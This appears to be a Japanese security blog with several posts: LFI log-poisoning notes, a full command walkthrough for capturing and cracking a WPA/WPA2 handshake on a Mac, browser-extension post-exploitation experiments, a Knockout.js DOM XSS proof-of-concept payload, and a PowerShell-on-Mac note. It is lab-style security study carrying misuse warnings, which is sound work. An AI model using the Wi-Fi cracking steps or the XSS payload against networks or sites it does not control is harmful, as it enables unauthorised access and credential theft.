LFI(Local File Include)ってpoisoningでバックドア開かれるよねって話

TL;DR

  • ローカルファイルのファイル名推測って必要なの?
  • とりあえずApache + PHP(もうこの組み合わせ自体古い気もするけど)のテンプレで考えてみよう
  • そうだ!我々には/var/log/apache2/access.log or error.logがあるじゃないか!

Reference

とりあえず一番古そうな記事

Notes

  • ログファイルに載ればなんでもいいのでメソッド部分、URL、User-Agentとかのヘッダ部分にとかとか放り込めめば勝ち
  • WAF/IPSがいたらさすがに引っ掛けてくれると思いたい
  • Node.jsとかGoとかのモダンなやつは自分でハンドリングした上でログ吐き出すはずだからファイル名の推測は必要だけど、トラバーサルでファイル名取得できないかなーと思ってみたり

Wireless Hackでよくある4 way handshake sniffingの話(それ、Macbookでもできるよ)

tl;dr

  • 無線のセキュリティを考えるときに触ることになるWireless Hackingの入門(4-way handshake sniffing)
  • 本とかブログとか読んで「えぇ...Wireless Hacking用にアダプタ用意しなきゃいけないの?」とか「アダプタどれならええんや...」とか「アダプタ買ったけど良いけど対応してるドライバどれだよ」とかで疲れ気味な人向け
  • それ、Macbook 1 台でできるよ
  • 「Hak5のWifi Pineappleサイコー」だとか「今度のBlackHatにもPineappleおじさん出没するのかな」とかいった危ない上級者の方はどうぞお帰りください. (USB Rubber Duckyって日本で引っかかる人いるのかな...ガワを変えれば刺しちゃうかな?)

注意事項

  • あくまで実験の一環です. 悪用厳禁.
  • 実際に企業さんとかカフェとか, 自身の管理下にないAPに対して行うときは誓約書とか用意してしっかり契約結んでください.

内容

  • Setup
    • airport(標準コマンド)
    • JamWifi(App)
    • tcpdump(コマンド - brewとかからインストール...かな?いらないかも)
    • mergecap(コマンド - brewから)
    • aircrack-ng or hashcat(コマンド - brewから)
  • KaliLinuxでやってるsniff and crack WPA/WPA2 4-way handshakeと同じ
    • Scan
    • Monitor
    • Deauth: 必要があれば
    • Sniff
    • Crack

Setup

  • airport
    macOS標準の無線周りに触るためのコマンド.
    ただしPathの箇所にはいない(はず、初めてさわった時はいなかった)のでalias or Pathのディレクトリにln -sしておくこと.
    ※個人的にはln -s推奨. のちほどsudoでの実行が必要になるので.
% which airport
airport: aliased to /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
  • JamWifi
    Deauthするときに使うアプリ. 検証のときには特に必要ない.
    実際に攻撃が行われる場合, 攻撃対象APには大抵すでに接続端末があるので, Deauth packetsを送る > 再接続のときの4 way handshakeを捕まえる, という流れになる.
    攻撃を受ける側の動作としてみておくと吉.
    このブログを書いている時はちゃんと動いてくれていない(Scan時にBSSIDが取れていなかった)ので, 別のものも用意しておいた方が良さそう.
    Deauth packetを送るツールは他にもあるっぽいので要調査.

  • tcpdump
    言わずと知れたトラフィックダンプツール.
    入っているはず...入ってなかったらbrew install tcpdumpとかbrew install wiresharkとかでいけるはず(テキトー)

  • mergecap
    パケットのキャプチャファイルを結合するためのコマンド.
    Wireshark同梱.

brew install wireshark
  • aircrack-ng(or hashcat)
    hash crack tool. インストール.
brew install aircrack-ng

Attack(検証)

今回の対象はSSID「victim-a」. passwordは「nknskn-password」とします.

  • Scan
$ airport -s

f:id:news-nknskn:20190403004552p:plain BSSIDを確認. 74:03:bd:74:e0:d5
接続channelは100

  • 準備
$ export BSSID=74:03:bd:74:e0:d5
$ sudo airport -z # Wifi接続の切断
$ sudo airport -c100  # Channel設定
$ sudo airport -c # 設定状況の確認 
channel: 100
$ echo $BSSID
74:03:bd:74:e0:d5

f:id:news-nknskn:20190403005818p:plain

$ sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
1 packet captured
40 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013427p:plain

$ sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
^C4 packets captured
7322 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013439p:plain

  • Crack
    • Merge beacon packet and handshake packets
$ mergecap -a -F pcap -w capture.cap beacon_1554221349.cap handshake_1554221397.cap
  • aircrack-ng
$ aircrack-ng -w sample_word.lst capture.cap
...
KEY FOUND! [ nknskn-password ]

f:id:news-nknskn:20190403013215p:plain

コメント

  • 眠いのでひとまずここまで. なんかあればまた追記します.

Browser Extensionを書いてみる: Chrome - 2.バックグラウンドページからxhrでクロスドメインに通信を飛ばす

tl;dr

Browser Extension for Chromeの続き. XMLHttpRequest を使ってバックグラウンドページから通信を飛ばすサンプル. あくまで研究用で悪用厳禁. よく某赤いセキュリティベンダからプレスがでているmaliciousなBrowser Extensionはこんな感じの設定がされている,という資料程度にどうぞ. ※赤い会社と一切関係はありません

Code

Server

f:id:news-nknskn:20190312102823p:plain

Main point

  • manifest.json
    • "permissions": ["<all_urls>"] → クロスドメインに飛ばす場合必須
  • background.js
    • 特別な記述はなし. 普通のxhrとChrome APIの組み合わせ.

雑感

  • node.jsのngrokって軽くクロスドメインチェックする時はめっちゃ便利.
  • 以前のonBeforeRequest(Browser API) + xhrって組み合わせだとpermissionsのところに<all_urls>とwebRequestが出てくるのでそれだけでめっちゃぁゃしぃ

Browser Extensionを書いてみる: Firefox - 1.webRequestをコンソールログに出す

tl;dr

昨日のエントリの続きでFirefox版. 違うのはbackground.jsの中で少しだけ(後述).

Code

  • background.js

要点

  • Chromeと同様にmanifest.jsonとbackground.js中のBrowser APIが肝
    • manifest.json > Chromeと全く同じ設定なので説明は省略(Chrome版の方に追記あり)
    • background.js > APIの呼び方が異なるが基本的な動作イメージは仕様を見る限りChromeとほぼ同じ. APIを持ってるobjectがchromeからbrowserになっている程度.

参考

コメント

  • Firefoxでalertではなくconsole.logを使っているのはbackgroundページだとどうもalertを呼び出せない仕様らしい(エラーで怒られた).
  • ちなみにChromeだとconsole.logで出力できなかった. Chromeではconsoleを使うためにAPI(chrome.extension.getBackgroundPage())を叩かないといけないので, 極力最小コードにする目的に沿って叩かない方針で書いている.
  • 次はChrome or Firefoxで保存されているパスワードを触りにいくExtensionか(そもそもできるのか?), IE or Edgeで上記と同じことをするプラグインでも(IEやばそうだしクロスプラットフォームでもないので後回しかな).

Browser Extensionを書いてみる: Chrome - 1.webRequestをポップアップで出す

tl;dr

マルチプラットフォームのPost Exploitation的なsomethingのお勉強ってことで手始めにBrowser Extension for Chromeを書いてみた. alertしてるところの飛ばし先とかobfuscateとかいろいろ興味が尽きないけれどもその辺りはまあご随意に.

Code

  • background.js

要点

  • Chromeの場合(Firefoxでもそうだけど), manifest.jsonChrome APIが肝. 具体的にはこの辺.
    • manifest.json > "permissions": ["webRequest", "<all_urls>"]
      • (追記)manifets.jsonのpermissionsでExtensionが使用可能なAPIをほぼ確認できる. webRequestで<all_urls>なんて指定があったら「ブラウザが送信する任意のリクエストデータ」を触ることができる.
    • background.js > chrome.webRequest.onBeforeRequest
      • (追記)リクエストボディに触れるのはonBeforeRequestのみなので, (maliciousなExtensionと仮定して)読み込んでるjs中にonBeforeRequestが入っていたらほぼリクエストボディを読みに行こうと判断していいかもしれない.

参考

コメント

  • ツールバーアイコンは不要なので(Post Exploitationなら特に, 仕様でもPick one (or none)だし)出さない方針で作成.
  • インストール方法とかは考察中. pre-installedなExtensionとかuser installedなExtensionに突っ込めないのかなーと思って試してみたものの,ブラウザ側でちゃんとチェックしていてエラーに. profileいじってどうにかなるものなる...のか?(ならない気がするなぁ
  • 次はChromeに保存されてるパスワードへのアクセスとかFirefoxのExtensionでも.

XSS小ネタ(DOM based XSS - Knockout.js)

最近出会った, Knockout.jsでのDOM based XSSを紹介.

書いてあること

  1. XSSが発生するKnockout.jsを使用したHTMLソース(レスポンス)例
  2. PoC
  3. スクリプトが実行される流れ

前提知識

HTMLソース(レスポンス)例

  • input 1
inputtedaaaaa<'"%26>
  • output 1
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa&lt;&#39;&quot&&gt;'}"></span>
(snipped)
  • input 2
inputtedaaaaa,(;:)
  • output 2
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa,(;:)'}"></span>
(snipped)

お分かりいただけただろうか. ご覧の通りXSS可能.

PoC

  • input
blue'&alert(1),text:'
  • output
<span data-bind="text: 'Hello Knockout.js', style: {color: 'blue&#39;&alert(1),text:&#39;'}"></span>
  • HTML
<span data-bind="text: 'Hello Knockout.js', css: {color: 'blue'&alert(1),text:''}">Hello Knockout.js</span>

スクリプトが実行される流れ

  1. ブラウザの仕様であるHTMLアンエスケープ(&#39;が'としてJavaScriptエンジンに渡される)
  2. Knockout.jsが動いてalertが動作
    • ViewモデルにおいてJavaScriptオブジェクトが使用される, JavaScript式を指定可能

対策

コメントとか小話とか

  • BurpSuite 1.7.37, 2.0.X betaでのScanは(Info)Input returned in response (reflected).
  • 「これどう思います?」と質問されたのが見つけられた発端. その時にKnockout.jsの存在を知った(ライブラリ多すぎてツラい).
  • ようやくWebに慣れてきた気がする. 職人への道はまだまだ遠い.

MacでPowershellを動かしてみた

最近Powershellを叩いていることが増えたので普段使いのMacでも使いたくなった.
というわけで環境を用意した際のメモと所感.

目標

  1. Mac 上で Powershell を叩く
  2. 入力補完してくれるエディタをインストールする
  3. どこまで動かせるか確認

メモ

  1. Mac 上で Powershell を叩く
    公式のドキュメントを参照.
    Powershell は現状Github上に公開されていて, 動作環境として Windows はもちろんのこと, Linux, Mac までサポートしてくれている.
    今回インストールした環境には brew をインストールしてあったため, ドキュメントの brew を使った方法通りに進めて, インストールできた.
    f:id:news-nknskn:20180714103156p:plain
  2. 入力補完してくれるエディタをインストールする
    なにも考えず Visual Studio Code を使う(ダウンロード, Powershell拡張のインストール).
    普段使いは Atom だけど, Atom でしかできないことを最近やっていないのでいっそ VSC に移行してもいいのかもしれない, と思った.
    プラグインの数は Atom の方が多いので, いろいろと動きやすい環境を作るのは Atom の方がいいような気はしてる.
    Atom で language-powershell, atom-terminal-powershell, ide-powershell を試したものの, Key-binding がぶつかっているのかF5などで実行を確認できなかった(Visual Studio Code でサクッとできるし, もうそっちでいいんじゃないかって気になったので深く調べてない).
    f:id:news-nknskn:20180714102813p:plain
  3. どこまで動かせるか確認
    • PowerShell クックブックにあるもののいくつかを試して見た
    • 数値演算, 文字列連結(マルチバイト込み), パイプラインなど基本的な操作, ターミナル上での入力補完, オブジェクトへのアクセス($var.Countとか), .NETオブジェクトのプロパティへのアクセス($today = Get-Date; $today.DayOfYearとか) → 問題なく動作, .NET回りは基本的に触れそう(たぶんもっと突っ込んでいったときにコケそう)
      触った時の図はだいたいこんな感じ
      f:id:news-nknskn:20180728180532p:plain f:id:news-nknskn:20180728181025p:plain
    • pwsh 上で Mac のコマンド群(とりあえずbrew update) → 動いた, 呼んだshellをpwshがまた包んでいるんだろうか
    • WmiObject, ComObject → そんなものはない

所感

WmiObject, ComObjectは触りたい気持ちがあったので, 予想はしてたものの触れなくて残念な気持ち.
ただ今まではVisual Studio for Macで.NETを触っていたことを考えると, やはりshellから.NETオブジェクトに触れるのは嬉しい.